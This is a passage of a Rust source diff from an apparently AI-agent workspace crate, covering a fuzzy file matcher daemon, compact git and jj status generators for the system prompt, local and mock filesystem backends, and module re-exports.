if self.query.is_empty() {
|
||||
self.top_entries.len()
|
||||
} else {
|
||||
self.nucleo.snapshot().item_count() as _
|
||||
}
|
||||
}
|
||||
|
||||
/// Get top `k` items from the snapshot and sort them by score, path length and path.
|
||||
pub fn get_top_k(&mut self, k: usize) -> Vec<FuzzyMatchResult> {
|
||||
// note: &mut only because we access self.matcher which has internal allocations
|
||||
|
||||
// rust is a bit dumb at times, we'll need this for sorting without cloning
|
||||
fn sort_by_key_hrtb<T, F, K, Q>(slice: &mut [T], f: F)
|
||||
where
|
||||
F: for<'a> Fn(&'a T) -> (Q, &'a K),
|
||||
K: Ord,
|
||||
Q: Ord,
|
||||
{
|
||||
slice.sort_by(|a, b| f(a).cmp(&f(b)))
|
||||
}
|
||||
|
||||
// special case: if query is empty, return top items only
|
||||
if self.query.is_empty() {
|
||||
return self
|
||||
.top_entries
|
||||
.iter()
|
||||
// dirs_only=true means only directories; dirs_only=false means both files and directories
|
||||
.filter(|e| !self.dirs || e.is_dir)
|
||||
.take(k)
|
||||
.cloned()
|
||||
.collect(); // should be already sorted
|
||||
}
|
||||
|
||||
// https://github.com/helix-editor/helix/blob/d79cce4e4bfc24dd204f1b294c899ed73f7e9453/helix-term/src/ui/completion.rs#L369
|
||||
// suggested min score = 7 * len + 14
|
||||
let len = self.query.chars().count() as u32;
|
||||
let min_score = 7 + len * 14;
|
||||
|
||||
let mut items = Vec::with_capacity(k);
|
||||
let pattern = self.nucleo.pattern.column_pattern(0);
|
||||
let snapshot = self.nucleo.snapshot();
|
||||
let mut iter = snapshot.matches().iter().peekable();
|
||||
|
||||
while items.len() < k
|
||||
&& let Some(m) = iter.next()
|
||||
// for empty queries, return everything; otherwise, apply heuristic min-score limit
|
||||
&& (self.query.is_empty() || m.score >= min_score)
|
||||
{
|
||||
fn extract_match(
|
||||
m: &Match,
|
||||
snapshot: &Snapshot<MatchEntry>,
|
||||
pattern: &Pattern,
|
||||
matcher: &mut Matcher,
|
||||
dirs_only: bool,
|
||||
) -> Option<FuzzyMatchResult> {
|
||||
let item = unsafe { snapshot.get_item_unchecked(m.idx) };
|
||||
// dirs_only=true means only directories; dirs_only=false means both files and directories
|
||||
if dirs_only && !item.data.is_dir {
|
||||
return None;
|
||||
}
|
||||
let path = item.matcher_columns[0].clone();
|
||||
let mut indices = Vec::new();
|
||||
if !pattern.atoms.is_empty() {
|
||||
pattern.indices(path.slice(..), matcher, &mut indices);
|
||||
}
|
||||
Some(FuzzyMatchResult {
|
||||
path,
|
||||
score: m.score,
|
||||
indices,
|
||||
is_dir: item.data.is_dir,
|
||||
})
|
||||
}
|
||||
|
||||
if !pattern.atoms.is_empty() {
|
||||
let start = items.len();
|
||||
items.extend(extract_match(
|
||||
m,
|
||||
snapshot,
|
||||
pattern,
|
||||
&mut self.matcher,
|
||||
self.dirs,
|
||||
));
|
||||
while iter.peek().is_some_and(|p| p.score == m.score) {
|
||||
let m = iter.next().unwrap();
|
||||
items.extend(extract_match(
|
||||
m,
|
||||
snapshot,
|
||||
pattern,
|
||||
&mut self.matcher,
|
||||
self.dirs,
|
||||
));
|
||||
}
|
||||
sort_by_key_hrtb(&mut items[start..], |m| (m.path.len(), &m.path));
|
||||
} else {
|
||||
items.extend(extract_match(
|
||||
m,
|
||||
snapshot,
|
||||
pattern,
|
||||
&mut self.matcher,
|
||||
self.dirs,
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
if items.len() > k {
|
||||
items.truncate(k);
|
||||
}
|
||||
|
||||
if pattern.atoms.is_empty() {
|
||||
sort_by_key_hrtb(&mut items, |m| (true, &m.path));
|
||||
}
|
||||
|
||||
items
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for FuzzyFileMatcher {
|
||||
fn drop(&mut self) {
|
||||
// note: walker threads *may* get detached for a little while but hopefully not for too long
|
||||
self.cancel.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct FuzzyMatcherDaemonResults {
|
||||
pub topk: Arc<[FuzzyMatchResult]>,
|
||||
pub num_items: usize,
|
||||
pub status: FuzzyMatcherStatus,
|
||||
pub generation: usize,
|
||||
}
|
||||
|
||||
impl AsRef<[FuzzyMatchResult]> for FuzzyMatcherDaemonResults {
|
||||
fn as_ref(&self) -> &[FuzzyMatchResult] {
|
||||
self.topk.as_ref()
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
enum FuzzyMatcherDaemonMessage {
|
||||
RestartWalk { hidden: bool },
|
||||
SetQuery { query: String, dirs: bool },
|
||||
Stop,
|
||||
}
|
||||
|
||||
pub struct FuzzyFileMatcherDaemon {
|
||||
results: Arc<Mutex<FuzzyMatcherDaemonResults>>,
|
||||
tx: SyncSender<FuzzyMatcherDaemonMessage>,
|
||||
_handle: JoinHandle<()>,
|
||||
}
|
||||
|
||||
impl FuzzyFileMatcherDaemon {
|
||||
pub fn new(mut matcher: FuzzyFileMatcher, topk: usize) -> Self {
|
||||
let results = Arc::new(Mutex::new(FuzzyMatcherDaemonResults::default()));
|
||||
let (tx, rx) = sync_channel(1024);
|
||||
|
||||
let res = results.clone();
|
||||
let handle = thread::spawn(move || {
|
||||
let results = res;
|
||||
let mut done = false;
|
||||
let mut generation = 0;
|
||||
loop {
|
||||
let msg = if !done {
|
||||
rx.recv_timeout(Duration::from_micros(250))
|
||||
} else {
|
||||
rx.recv().map_err(|e| match e {
|
||||
RecvError => RecvTimeoutError::Disconnected,
|
||||
})
|
||||
};
|
||||
match msg {
|
||||
Ok(FuzzyMatcherDaemonMessage::RestartWalk { hidden }) => {
|
||||
if !hidden {
|
||||
tracing::trace!("restarting normal walk");
|
||||
matcher.restart_walk();
|
||||
} else {
|
||||
tracing::trace!("restarting hidden walk");
|
||||
matcher.restart_walk_custom(|w| {
|
||||
w.hidden(false).ignore(false).git_ignore(false)
|
||||
});
|
||||
}
|
||||
generation += 1;
|
||||
*results.lock().unwrap() = FuzzyMatcherDaemonResults::default();
|
||||
done = false;
|
||||
}
|
||||
Ok(FuzzyMatcherDaemonMessage::SetQuery { query, dirs }) => {
|
||||
matcher.set_query(&query, dirs);
|
||||
generation += 1;
|
||||
done = false;
|
||||
}
|
||||
Ok(FuzzyMatcherDaemonMessage::Stop) | Err(RecvTimeoutError::Disconnected) => {
|
||||
break;
|
||||
}
|
||||
Err(RecvTimeoutError::Timeout) => {
|
||||
if !done {
|
||||
let status = matcher.tick(10);
|
||||
done = status.done;
|
||||
let num_items = matcher.num_items();
|
||||
let topk: Arc<[_]> = matcher.get_top_k(topk).into();
|
||||
*results.lock().unwrap() = FuzzyMatcherDaemonResults {
|
||||
topk,
|
||||
num_items,
|
||||
status,
|
||||
generation,
|
||||
};
|
||||
generation += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
Self {
|
||||
results,
|
||||
tx,
|
||||
_handle: handle,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn get(&self) -> FuzzyMatcherDaemonResults {
|
||||
self.results.lock().unwrap().clone()
|
||||
}
|
||||
|
||||
pub fn set_query(&self, query: impl AsRef<str>, dirs: bool) {
|
||||
let query = query.as_ref().to_owned();
|
||||
_ = self
|
||||
.tx
|
||||
.send(FuzzyMatcherDaemonMessage::SetQuery { query, dirs })
|
||||
.ok();
|
||||
}
|
||||
|
||||
pub fn restart_walk(&self, hidden: bool) {
|
||||
_ = self
|
||||
.tx
|
||||
.send(FuzzyMatcherDaemonMessage::RestartWalk { hidden })
|
||||
.ok();
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for FuzzyFileMatcherDaemon {
|
||||
fn drop(&mut self) {
|
||||
_ = self.tx.send(FuzzyMatcherDaemonMessage::Stop).ok();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,290 @@
|
||||
//! Generates a compact git status for the system prompt.
|
||||
//!
|
||||
//! Uses the git CLI for performance — libgit2's status is 5-10x slower than
|
||||
//! the native git binary on large repos due to inefficient index refresh.
|
||||
//! Output is prioritized by change type and limited to ~1k characters.
|
||||
|
||||
use crate::file_system::FsError;
|
||||
use std::fmt::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
/// Gets a compact git status for the system prompt using the git CLI.
|
||||
///
|
||||
/// Output includes:
|
||||
/// 1. Branch name
|
||||
/// 2. Upstream ahead/behind status
|
||||
/// 3. Staged files (if any)
|
||||
///
|
||||
/// Total output is capped at ~1k characters.
|
||||
pub async fn git_status(working_directory: impl Into<PathBuf>) -> Result<String, FsError> {
|
||||
let working_directory = working_directory.into();
|
||||
|
||||
tokio::task::spawn_blocking(move || git_status_impl(&working_directory))
|
||||
.await
|
||||
.map_err(|e| FsError::Other(format!("git status task failed: {}", e)))?
|
||||
}
|
||||
|
||||
/// Matches Node's default `execFile` `maxBuffer` (1 MiB). This cap is
|
||||
/// load-bearing: `git status` output at or above it makes the spawn throw, so
|
||||
/// the repo is dropped from `<git_status>` entirely (never truncated).
|
||||
/// Oversized output is treated as an error -- the caller maps `Err` to a
|
||||
/// dropped section.
|
||||
const GIT_STATUS_BUFFER_LIMIT: usize = 1024 * 1024;
|
||||
|
||||
/// Whether `git status` stdout is large enough that the repo is dropped
|
||||
/// (`>= 1 MiB`). Extracted as a pure predicate so it is unit-testable
|
||||
/// without spawning git.
|
||||
fn git_status_exceeds_buffer(stdout_len: usize) -> bool {
|
||||
stdout_len >= GIT_STATUS_BUFFER_LIMIT
|
||||
}
|
||||
|
||||
/// Collapse runs of 2+ spaces to a single space.
|
||||
///
|
||||
/// The `<git_status>` body collapses consecutive spaces, so the
|
||||
/// porcelain two-column status renders with a single separator: `A staged.txt`
|
||||
/// (index-added, clean worktree) becomes `A staged.txt`, `M mod.txt` becomes
|
||||
/// `M mod.txt`, `R old -> new` becomes `R old -> new`. A single leading space
|
||||
/// (e.g. ` M file`, worktree-modified) and the rename ` -> ` separator are
|
||||
/// preserved because they are runs of length one.
|
||||
/// Newlines are never touched.
|
||||
fn collapse_status_spaces(s: &str) -> String {
|
||||
let mut out = String::with_capacity(s.len());
|
||||
let mut prev_space = false;
|
||||
for ch in s.chars() {
|
||||
if ch == ' ' {
|
||||
if prev_space {
|
||||
continue;
|
||||
}
|
||||
prev_space = true;
|
||||
} else {
|
||||
prev_space = false;
|
||||
}
|
||||
out.push(ch);
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// Short git status for the templated user message.
|
||||
///
|
||||
/// Runs `git status --short --branch` and returns its output with consecutive
|
||||
/// spaces collapsed via [`collapse_status_spaces`]: a leading `## <branch>`
|
||||
/// line followed by the file change list (or just `## <branch>` on a clean
|
||||
/// tree). This matches the body embedded in the `<git_status>` block
|
||||
/// byte-for-byte.
|
||||
pub async fn git_status_short(working_directory: impl Into<PathBuf>) -> Result<String, FsError> {
|
||||
let working_directory = working_directory.into();
|
||||
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let output = kigi_tty_utils::git_command()
|
||||
.args(["status", "--short", "--branch"])
|
||||
.current_dir(&working_directory)
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.output()
|
||||
.map_err(|e| FsError::Other(format!("git status --short --branch failed: {}", e)))?;
|
||||
|
||||
if !output.status.success() {
|
||||
return Err(FsError::Other(format!(
|
||||
"git status --short --branch exited with code {:?}",
|
||||
output.status.code()
|
||||
)));
|
||||
}
|
||||
|
||||
// Output >= 1 MiB is dropped entirely, not truncated. Render-time
|
||||
// truncation handles the < 1 MiB case.
|
||||
if git_status_exceeds_buffer(output.stdout.len()) {
|
||||
return Err(FsError::Other(
|
||||
"git status --short --branch output exceeded 1 MiB buffer".to_string(),
|
||||
));
|
||||
}
|
||||
|
||||
// Consecutive spaces in the status body are collapsed so staged
|
||||
// entries (`A file` -> `A file`) match the wire format.
|
||||
Ok(collapse_status_spaces(&String::from_utf8_lossy(
|
||||
&output.stdout,
|
||||
)))
|
||||
})
|
||||
.await
|
||||
.map_err(|e| FsError::Other(format!("git status --short --branch task failed: {}", e)))?
|
||||
}
|
||||
|
||||
fn git_status_impl(working_directory: &Path) -> Result<String, FsError> {
|
||||
let _timer = /* instrumentation_timer */ () ; // dev macro; noop stub ("git_status.impl")
|
||||
let max_status_chars = 1000;
|
||||
let mut output = String::with_capacity(max_status_chars);
|
||||
|
||||
// Get branch name
|
||||
let branch_name = {
|
||||
let _timer = /* instrumentation_timer */ () ; // dev macro; noop stub ("git_status.branch_info")
|
||||
run_git(working_directory, &["rev-parse", "--abbrev-ref", "HEAD"])
|
||||
};
|
||||
|
||||
match &branch_name {
|
||||
Some(branch) if branch == "HEAD" => {
|
||||
// Detached HEAD — get short commit hash
|
||||
if let Some(hash) = run_git(working_directory, &["rev-parse", "--short", "HEAD"]) {
|
||||
let _ = writeln!(output, "HEAD detached at {}", hash);
|
||||
}
|
||||
}
|
||||
Some(branch) => {
|
||||
let _ = writeln!(output, "On branch {}", branch);
|
||||
}
|
||||
None => {
|
||||
return Err(FsError::Other("not a git repository".to_string()));
|
||||
}
|
||||
}
|
||||
|
||||
// Get upstream ahead/behind
|
||||
{
|
||||
let _timer = (); // instrumentation_timer noop stub
|
||||
if let Some(upstream_name) = run_git(
|
||||
working_directory,
|
||||
&["rev-parse", "--abbrev-ref", "@{upstream}"],
|
||||
) && let Some(counts) = run_git(
|
||||
working_directory,
|
||||
&["rev-list", "--count", "--left-right", "@{upstream}...HEAD"],
|
||||
) {
|
||||
let parts: Vec<&str> = counts.split_whitespace().collect();
|
||||
if let (Some(behind_str), Some(ahead_str)) = (parts.first(), parts.get(1)) {
|
||||
let behind: usize = behind_str.parse().unwrap_or(0);
|
||||
let ahead: usize = ahead_str.parse().unwrap_or(0);
|
||||
|
||||
let status_msg = match (ahead, behind) {
|
||||
(0, 0) => {
|
||||
format!("Your branch is up to date with '{}'.", upstream_name)
|
||||
}
|
||||
(a, 0) => format!(
|
||||
"Your branch is ahead of '{}' by {} commit{}.",
|
||||
upstream_name,
|
||||
a,
|
||||
if a == 1 { "" } else { "s" }
|
||||
),
|
||||
(0, b) => format!(
|
||||
"Your branch is behind '{}' by {} commit{}.",
|
||||
upstream_name,
|
||||
b,
|
||||
if b == 1 { "" } else { "s" }
|
||||
),
|
||||
(a, b) => format!(
|
||||
"Your branch and '{}' have diverged ({} ahead, {} behind).",
|
||||
upstream_name, a, b
|
||||
),
|
||||
};
|
||||
let _ = writeln!(output, "{}", status_msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get staged changes (index vs HEAD) — fast, no workdir scan
|
||||
let staged_output = {
|
||||
let _timer = /* instrumentation_timer */ () ; // dev macro; noop stub ("git_status.staged")
|
||||
run_git(
|
||||
working_directory,
|
||||
&["diff", "--cached", "--name-status", "HEAD"],
|
||||
)
|
||||
};
|
||||
|
||||
let mut staged: Vec<String> = Vec::new();
|
||||
if let Some(ref diff_output) = staged_output {
|
||||
for line in diff_output.lines() {
|
||||
let mut parts = line.splitn(2, '\t');
|
||||
let status_char = parts.next().unwrap_or("");
|
||||
let path = parts.next().unwrap_or("");
|
||||
if path.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let formatted = match status_char.chars().next() {
|
||||
Some('A') => format!("\tnew file: {}", path),
|
||||
Some('M') => format!("\tmodified: {}", path),
|
||||
Some('D') => format!("\tdeleted: {}", path),
|
||||
Some('R') => format!("\trenamed: {}", path),
|
||||
_ => format!("\t{}: {}", status_char, path),
|
||||
};
|
||||
staged.push(formatted);
|
||||
}
|
||||
}
|
||||
|
||||
// Check if clean
|
||||
if staged.is_empty() {
|
||||
let _ = writeln!(output, "\nnothing to commit, working tree clean");
|
||||
return Ok(output);
|
||||
}
|
||||
|
||||
// Reserve space for truncation message
|
||||
let reserve_for_truncation = 50;
|
||||
let char_budget = max_status_chars - reserve_for_truncation;
|
||||
|
||||
// Write staged files
|
||||
if !staged.is_empty() && output.len() < char_budget {
|
||||
let _ = writeln!(output, "\nChanges to be committed:");
|
||||
for (shown, line) in staged.iter().enumerate() {
|
||||
if output.len() + line.len() + 1 > char_budget {
|
||||
let remaining = staged.len() - shown;
|
||||
if remaining > 0 {
|
||||
let _ = writeln!(output, "\t... and {} more staged", remaining);
|
||||
}
|
||||
break;
|
||||
}
|
||||
let _ = writeln!(output, "{}", line);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
/// Run a read-only git command and return its stdout, trimmed.
|
||||
/// Returns None on failure.
|
||||
///
|
||||
/// Uses `--no-optional-locks` to avoid creating `index.lock` for stat-cache
|
||||
/// refreshes. This function is called from background tasks (system prompt
|
||||
/// generation) and must never contend with foreground git operations.
|
||||
fn run_git(cwd: &Path, args: &[&str]) -> Option<String> {
|
||||
let output = kigi_tty_utils::git_command()
|
||||
.args(args)
|
||||
.current_dir(cwd)
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.output()
|
||||
.ok()?;
|
||||
|
||||
if !output.status.success() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let stdout = String::from_utf8_lossy(&output.stdout).trim().to_string();
|
||||
if stdout.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(stdout)
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn git_status_buffer_cap_matches_spec() {
|
||||
assert!(!git_status_exceeds_buffer(0));
|
||||
assert!(!git_status_exceeds_buffer(GIT_STATUS_BUFFER_LIMIT - 1));
|
||||
// At or above 1 MiB -> dropped.
|
||||
assert!(git_status_exceeds_buffer(GIT_STATUS_BUFFER_LIMIT));
|
||||
assert!(git_status_exceeds_buffer(GIT_STATUS_BUFFER_LIMIT + 1));
|
||||
}
|
||||
|
||||
/// Staged entries collapse the porcelain double space, while leading
|
||||
/// single spaces and ` -> ` are preserved.
|
||||
#[test]
|
||||
fn collapse_status_spaces_matches_spec() {
|
||||
let raw = "## main...origin/main\n M committed.txt\nA staged.txt\nM mod.txt\nR old.txt -> new.txt\n?? untracked.txt\n";
|
||||
let want = "## main...origin/main\n M committed.txt\nA staged.txt\nM mod.txt\nR old.txt -> new.txt\n?? untracked.txt\n";
|
||||
assert_eq!(collapse_status_spaces(raw), want);
|
||||
}
|
||||
|
||||
/// Newlines are never collapsed (blank lines preserved).
|
||||
#[test]
|
||||
fn collapse_status_spaces_preserves_newlines() {
|
||||
assert_eq!(collapse_status_spaces("a\n\n\nb"), "a\n\n\nb");
|
||||
assert_eq!(collapse_status_spaces(""), "");
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,85 @@
|
||||
//! Compact jj status for the system prompt.
|
||||
|
||||
use std::fmt::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::process::Command;
|
||||
|
||||
use crate::file_system::FsError;
|
||||
|
||||
/// jj template: change ID, commit ID, description, bookmarks.
|
||||
const JJ_LOG_TEMPLATE: &str = r#"separate("\n",
|
||||
"Change: " ++ change_id.shortest(8),
|
||||
"Commit: " ++ commit_id.shortest(8),
|
||||
if(description,
|
||||
"Description: " ++ description.first_line(),
|
||||
"Description: (no description set)"),
|
||||
if(bookmarks,
|
||||
"Bookmarks: " ++ bookmarks.join(", "),
|
||||
"")
|
||||
)"#;
|
||||
|
||||
/// Compact jj status for the system prompt (~1k chars max).
|
||||
pub async fn jj_status(working_directory: impl Into<PathBuf>) -> Result<String, FsError> {
|
||||
let working_directory = working_directory.into();
|
||||
tokio::task::spawn_blocking(move || jj_status_impl(&working_directory))
|
||||
.await
|
||||
.map_err(|e| FsError::Other(format!("jj status task failed: {e}")))?
|
||||
}
|
||||
|
||||
fn jj_status_impl(cwd: &Path) -> Result<String, FsError> {
|
||||
let max_chars = 1000;
|
||||
let mut out = String::with_capacity(max_chars);
|
||||
|
||||
let log = run_jj(
|
||||
cwd,
|
||||
&["log", "--no-graph", "-r", "@", "-T", JJ_LOG_TEMPLATE],
|
||||
)
|
||||
.ok_or_else(|| FsError::Other("not a jujutsu repository".into()))?;
|
||||
|
||||
for line in log.lines().filter(|l| !l.is_empty()) {
|
||||
let _ = writeln!(out, "{line}");
|
||||
}
|
||||
|
||||
match run_jj(cwd, &["st"]) {
|
||||
Some(st) if st.contains("The working copy is clean") || st.is_empty() => {
|
||||
let _ = writeln!(out, "\nWorking copy is clean");
|
||||
}
|
||||
Some(st) => {
|
||||
let _ = writeln!(out);
|
||||
let budget = max_chars - 50;
|
||||
for (i, line) in st.lines().enumerate() {
|
||||
if out.len() + line.len() + 1 > budget {
|
||||
let remaining = st.lines().count() - i;
|
||||
if remaining > 0 {
|
||||
let _ = writeln!(out, "... and {remaining} more lines");
|
||||
}
|
||||
break;
|
||||
}
|
||||
let _ = writeln!(out, "{line}");
|
||||
}
|
||||
}
|
||||
None => {}
|
||||
}
|
||||
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
/// Run a jj command synchronously, returning trimmed stdout or `None` on failure.
|
||||
fn run_jj(cwd: &Path, args: &[&str]) -> Option<String> {
|
||||
let mut cmd = Command::new("jj");
|
||||
cmd.arg("--ignore-working-copy")
|
||||
.args(args)
|
||||
.current_dir(cwd)
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.stdin(std::process::Stdio::null());
|
||||
kigi_tools::util::detach_std_command(&mut cmd);
|
||||
let output = cmd.output().ok()?;
|
||||
|
||||
if !output.status.success() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let stdout = String::from_utf8_lossy(&output.stdout).trim().to_string();
|
||||
(!stdout.is_empty()).then_some(stdout)
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
use std::path::{Path, PathBuf};
|
||||
use tokio::fs;
|
||||
|
||||
use crate::file_system::{AsyncFileSystem, FsError};
|
||||
|
||||
pub struct LocalFs {
|
||||
root: PathBuf,
|
||||
}
|
||||
|
||||
impl LocalFs {
|
||||
pub fn new(root: PathBuf) -> Self {
|
||||
Self { root }
|
||||
}
|
||||
}
|
||||
|
||||
#[async_trait::async_trait]
|
||||
impl AsyncFileSystem for LocalFs {
|
||||
fn root(&self) -> &Path {
|
||||
&self.root
|
||||
}
|
||||
|
||||
async fn exists(&self, path: &Path) -> Result<bool, FsError> {
|
||||
Ok(fs::try_exists(path).await?)
|
||||
}
|
||||
|
||||
async fn read_file(&self, path: &Path) -> Result<Vec<u8>, FsError> {
|
||||
Ok(fs::read(path).await?)
|
||||
}
|
||||
|
||||
async fn try_read_file(&self, path: &Path) -> Result<Option<Vec<u8>>, FsError> {
|
||||
match fs::read(path).await {
|
||||
Ok(bytes) => Ok(Some(bytes)),
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
|
||||
Err(e) => Err(e.into()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn write_file(&self, path: &Path, data: &[u8]) -> Result<(), FsError> {
|
||||
if let Some(dir) = path.parent() {
|
||||
fs::create_dir_all(dir).await?;
|
||||
}
|
||||
fs::write(path, data).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn delete_file(&self, path: &Path) -> Result<(), FsError> {
|
||||
fs::remove_file(path).await?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
use std::collections::HashMap;
|
||||
use std::io;
|
||||
use std::path::{Path, PathBuf};
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
use crate::file_system::{AsyncFileSystem, FsError};
|
||||
|
||||
pub struct MockFs {
|
||||
root: PathBuf,
|
||||
files: RwLock<HashMap<PathBuf, Vec<u8>>>,
|
||||
}
|
||||
|
||||
#[async_trait::async_trait]
|
||||
impl AsyncFileSystem for MockFs {
|
||||
fn root(&self) -> &Path {
|
||||
&self.root
|
||||
}
|
||||
|
||||
async fn exists(&self, path: &Path) -> Result<bool, FsError> {
|
||||
let map = self.files.read().await;
|
||||
Ok(map.contains_key(path))
|
||||
}
|
||||
|
||||
async fn read_file(&self, path: &Path) -> Result<Vec<u8>, FsError> {
|
||||
let map = self.files.read().await;
|
||||
if let Some(bytes) = map.get(path) {
|
||||
Ok(bytes.clone())
|
||||
} else {
|
||||
Err(io::Error::new(io::ErrorKind::NotFound, "File not found").into())
|
||||
}
|
||||
}
|
||||
|
||||
async fn try_read_file(&self, path: &Path) -> Result<Option<Vec<u8>>, FsError> {
|
||||
let map = self.files.read().await;
|
||||
Ok(map.get(path).cloned())
|
||||
}
|
||||
|
||||
async fn write_file(&self, path: &Path, data: &[u8]) -> Result<(), FsError> {
|
||||
let mut map = self.files.write().await;
|
||||
map.insert(path.to_path_buf(), data.to_vec());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn delete_file(&self, path: &Path) -> Result<(), FsError> {
|
||||
let mut map = self.files.write().await;
|
||||
map.remove(path);
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
impl MockFs {
|
||||
pub fn new(root: PathBuf) -> Self {
|
||||
Self {
|
||||
root,
|
||||
files: RwLock::new(HashMap::new()),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,360 @@
|
||||
mod acp_fs;
|
||||
pub use acp_fs::AcpSessionFs;
|
||||
|
||||
mod ext_fs;
|
||||
pub use ext_fs::{
|
||||
FsDeleteFileReq, FsExistsData, FsExistsReq, FsListData, FsListNode, FsListReq, FsReadFileData,
|
||||
FsReadFileReq, FsWriteFileReq,
|
||||
};
|
||||
|
||||
// Client-facing read-only fs ops (`workspace.client_fs_*`). Not re-exported:
|
||||
// its wire types live in `kigi_workspace_types::rpc::fs` (the `ClientFs*`
|
||||
// types) and would collide with the shell-facing `ext_fs` names above.
|
||||
pub(crate) mod client_fs;
|
||||
|
||||
// Shared filesystem core: paginated listing + binary-safe ranged reads,
|
||||
// used by `client_fs`, `ext_fs`, and the shell-local `session::file_system`.
|
||||
mod walk;
|
||||
pub use walk::{
|
||||
ChunkPayload, ListOptions, ListPage, ListedEntry, MAX_LIST_COLLECT, MAX_READ_BYTES,
|
||||
clamp_read_length, encode_chunk, list_directory_paged, read_range,
|
||||
};
|
||||
// Re-exported so shell-side fs ops can name the shared read encoding.
|
||||
pub use kigi_workspace_types::rpc::fs::FsReadEncoding;
|
||||
|
||||
pub mod adapter;
|
||||
pub use adapter::AcpFsAdapter;
|
||||
|
||||
mod codebase_index;
|
||||
pub use codebase_index::CodebaseIndexManager;
|
||||
|
||||
mod fs;
|
||||
pub use fs::{AsyncFileSystem, AsyncFsWrapper, FsError, bytes_to_string};
|
||||
|
||||
mod local_fs;
|
||||
pub use local_fs::LocalFs;
|
||||
|
||||
mod mock_fs;
|
||||
pub use mock_fs::MockFs;
|
||||
|
||||
mod file_tree;
|
||||
pub use file_tree::{ListContentsLimits, list_contents};
|
||||
|
||||
mod git_status;
|
||||
pub use git_status::{git_status, git_status_short};
|
||||
|
||||
mod jj_status;
|
||||
pub use jj_status::jj_status;
|
||||
|
||||
mod attach_file;
|
||||
pub use attach_file::{FileReference, render_embedded_resource, render_file_reference};
|
||||
|
||||
mod fuzzy;
|
||||
pub use fuzzy::{
|
||||
FuzzyFileMatcher, FuzzyFileMatcherDaemon, FuzzyMatchResult, FuzzyMatcherDaemonResults,
|
||||
FuzzyMatcherStatus,
|
||||
};
|
||||
|
||||
mod index;
|
||||
pub use index::{FileEntry, FileIndex, FileIndexDelta, SegmentId, StringInterner, WalkOptions};
|
||||
|
||||
mod content;
|
||||
pub use content::{
|
||||
ContentMatch, ContentMatchFile, ContentSearchBatch, ContentSearchData, ContentSearchParams,
|
||||
content_search_streaming,
|
||||
};
|
||||
|
||||
use serde::Serialize;
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
path::{Path, PathBuf},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use uuid::Uuid;
|
||||
|
||||
// Canonical in kigi-workspace-types; re-exported for existing paths.
|
||||
pub use kigi_workspace_types::rpc::search::{ClientId, ContentSearchRequest, TargetClientId};
|
||||
|
||||
impl From<ContentSearchRequest> for ContentSearchParams {
|
||||
fn from(req: ContentSearchRequest) -> Self {
|
||||
let pattern = if req.is_regex {
|
||||
req.pattern
|
||||
} else if req.whole_word {
|
||||
format!("\\b{}\\b", regex::escape(&req.pattern))
|
||||
} else {
|
||||
req.pattern
|
||||
};
|
||||
|
||||
let literal = !req.is_regex && !req.whole_word;
|
||||
let globs: Vec<String> = req
|
||||
.include_globs
|
||||
.into_iter()
|
||||
.chain(req.exclude_globs.into_iter().map(|g| format!("!{g}")))
|
||||
.collect();
|
||||
|
||||
Self {
|
||||
pattern,
|
||||
case_insensitive: req.case_insensitive,
|
||||
literal,
|
||||
globs,
|
||||
max_files: req.max_files,
|
||||
max_matches: req.max_matches,
|
||||
respect_gitignore: req.respect_gitignore,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const DEFAULT_SEARCH_TIMEOUT_SECS: u64 = 30;
|
||||
const DEFAULT_TOP_K: usize = 1000;
|
||||
|
||||
pub type FuzzySearchId = String;
|
||||
|
||||
impl Serialize for FuzzyMatchResult {
|
||||
fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
|
||||
where
|
||||
S: serde::Serializer,
|
||||
{
|
||||
use serde::ser::SerializeStruct;
|
||||
use std::borrow::Cow;
|
||||
|
||||
let path_str = self.path.to_string();
|
||||
let node_type = if self.is_dir { "directory" } else { "file" };
|
||||
let name: Cow<str> = std::path::Path::new(&path_str)
|
||||
.file_name()
|
||||
.map(|s| s.to_string_lossy())
|
||||
.unwrap_or(Cow::Borrowed(&path_str));
|
||||
|
||||
